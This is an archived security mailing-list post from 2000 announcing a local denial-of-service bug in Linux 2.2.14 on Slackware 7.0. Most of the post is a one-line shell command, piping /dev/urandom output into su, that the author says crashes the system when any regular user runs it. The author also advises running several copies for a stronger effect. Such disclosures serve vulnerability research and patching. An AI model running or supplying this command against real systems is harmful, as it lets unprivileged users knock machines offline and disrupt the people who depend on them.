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Local Linux Crash

From: javor () MULTIGROUP-BG COM (Javor Ninov)
Date: Fri, 24 Mar 2000 18:42:03 +0200


Tested on SlackWare 7.0 2.2.14
After short time this will crash Linux box:
su `cat /dev/urandom` > /dev/null |< su `cat /dev/urandom`&

for a better efect start it several times :-))
This can be done be any regular user !

Current thread:

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